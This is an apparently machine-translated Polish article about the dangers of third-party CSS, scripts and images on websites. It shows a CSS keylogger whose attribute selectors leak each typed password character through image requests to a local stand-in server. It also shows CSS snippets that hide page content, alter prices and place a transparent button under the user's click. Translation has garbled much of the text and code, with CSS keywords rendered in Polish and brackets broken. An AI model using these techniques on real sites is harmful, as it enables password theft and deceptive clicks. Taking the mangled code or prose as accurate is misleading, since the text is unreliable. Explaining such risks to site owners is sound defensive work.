Menu
Jest wolny
Zameldować się
główny  /  Programy / Rozpowszechnianie artykułów w Internecie. Opcje i ich funkcje

Dystrybucja artykułów w Internecie. Opcje i ich funkcje

Mówimy, jak możesz zaszkodzić swojej stronie za pomocą CSS innych firm, Javascript i innych zasobów z serwerami innych osób.

Pod koniec lutego sieć pojawiła się częściowo Keylogger za pomocą CSS. Atak z nim jest prosty: dla każdej postaci wprowadzonej w dziedzinie z określonym typem (na przykład hasłem), żądanie stron trzecich jest generowane, domniemane żądanie obrazu tła:

wejście (tło-Image: URL ("http: // localhost: 3000 / A");)

tło - Obraz: URL ("http: // localhost: 3000 / A");

Na serwerze sekwencja żądań może być zarejestrowana i łatwa do obliczenia wprowadzonego hasła.

W procesie omawiania problemu niektórzy sugerowali producenci przeglądarek do naprawienia. Ktoś zwrócił uwagę na to, że problem jest istotny tylko dla witryn na temat ram reagujących, i przesunął obwinianie na nich.

Zdjęcia trzecie partii

< img src = "https://example.com/kiten.jpg">

Jeśli dodasz obraz tego typu na stronie, będziesz zależny od przykładu.com. Mogą cię zastąpić różne sposobyNa przykład usuń zdjęcie - otrzymasz 404 zamiast obrazu. I mogą po prostu zastąpić obraz kota na czymś mniej przyjemnym.

Możesz ostrzec swoich użytkowników, że obraz jest dodawany z zasobu trzeciego i nie masz do niego związku. Więc zabezpieczysz się trochę od kłopotów. Ale oczywiście przy dodawaniu prostego obrazu nie dostarczasz dostępu do haseł.

Skrypty stron trzecich

Ten przykład jest bardziej interesujący na przykład.com, ponieważ dodanie skryptu z ich witryny dajesz im znacznie więcej kontroli na własną rękę. W takim przypadku przykład może:

  • Przeczytaj / zmień zawartość strony.
  • Śledź każdą akcję użytkownika.
  • Uruchom mocno, aby obliczyć kod (na przykład kryptomilnik).
  • Poproś o pliki cookie.
  • Przeczytaj / modyfikuj lokalne przechowywanie.

Innymi słowy, example.com może teraz mieć wiele rzeczy.

Interakcja z lokalnym przechowywaniem w przyszłości przynosi jeszcze więcej problemów. Zasób zewnętrzny będzie miał dostęp do Twojej witryny nawet po usunięciu skryptu ze strony. Jeśli dodasz skrypt stron trzecich do witryny, musisz absolutnie ufać źródłem i jego bezpieczeństwu.

Jeśli nadal napotkasz zły skrypt, spróbuj użyć nagłówka przezroczystego.

Boczne CSS.

< link rel = "stylesheet" href = "https://example.com/style.css">

CZAS CSS THATCH PARTY na temat wpływu witryny znajduje się między obrazem a skryptem. Obcy CSS może:

  • Usuń / zmodyfikuj / dodaj zawartość na stronie.
  • Dokonać żądań na podstawie treści strony.
  • Reagować na wiele działań użytkowników.

CSS nie będzie w stanie wchodzić w interakcje z lokalną pamięcią masową, a kryptomer na stronę nie osadza się, ale może przynieść wiele szkód dla właściciela zasobu.

Keylogger.

Nieco modyfikuj CSS od początku artykułu:

wejście (tło-Image: URL ("/ Hasło? A");)

wejście [Type \u003d "Hasło"] [Wartość $ \u003d "A"] (

tło - Obraz: URL ("/ Hasło? A");

Ten kod wyśle \u200b\u200bdane na temat wprowadzonego symbolu "A" w obsłudze pod przewodnictwem żądania obrazu. Powtórz kod dla każdego symbolu, a tutaj masz już keylogger CSS.

Domyślnie przeglądarki nie przechowywają znaków wprowadzonych przez użytkownika w atrybucie wartości, dzięki czemu ta sztuczka będzie działać podczas korzystania z czegoś, co zsynchronizuje takie wartości, na przykład.

Oczywiście problem ten można rozwiązać na stronie reakcyjnej i podobnych ramach. Ale potem zostanie rozwiązany konkretny przypadekA reszta problemów pozostanie.

Zniknięcie treści

ciało (Wyświetlacz: Brak;) HTML :: Po (Treść: "Błąd serwera serwera HTTP";)

ciało (

nie wyświetla się;

hTML :: Afterter (

treść: "Błąd serwera serwera HTTP";

To oczywiście jest bardzo osobliwym przykładem, ale nadal pracuje. Wyobraź sobie, jeśli użytkownicy przy wejściu do witryny zobaczą zamiast zwykłego strona główna niezrozumiały błąd. W ten sam sposób, kod strony trzeciej może usunąć, na przykład przycisk "Kup" lub dokonać więcej problemów.

Dodawanie treści

Cena :: wcześniej (treść: "1";)

Cena - wartość :: wcześniej (

treść: "1";

I tak tylko twoje ceny wzrosły.

Content Travel.

Usuń-WSZYSTKO - przycisk (krycie: 0; Pozycja: Absolute; Top: 500px; Lewo: 300px;)

Usuń - wszystko - przycisk (

nieprzezroczystość: 0;

pozycja: absolutna;

top: 500px;

w lewo: 300px;

Weź przycisk, który sprawia, że \u200b\u200bcoś strasznego i że użytkownik nie naciska go, uczynić go przezroczystym i umieszcza miejsce, w którym użytkownik musi kliknąć.

Oczywiście, jeśli przycisk robi coś naprawdę ważnego, użytkownik najpierw zobaczy dialog ostrzegawczy. Ale to nie jest problem: potrzebuję więcej CSS. Na przykład można zmienić zawartość przycisku "Och, Panie, Nie!", Oczywiście, jestem pewien ".

Wyobraź sobie, że producenci przeglądarki poprawili sztuczkę z Keylogger. Atakujący po prostu znajdują nadmiarowe pole tekstowe na wierzchu ważnego pola z typem hasła i ponownie są zajęci.

Atrybuty do czytania

Wartość i inne atrybuty hasła niekoniecznie są przechowywane: atakujący może znaleźć coś interesującego.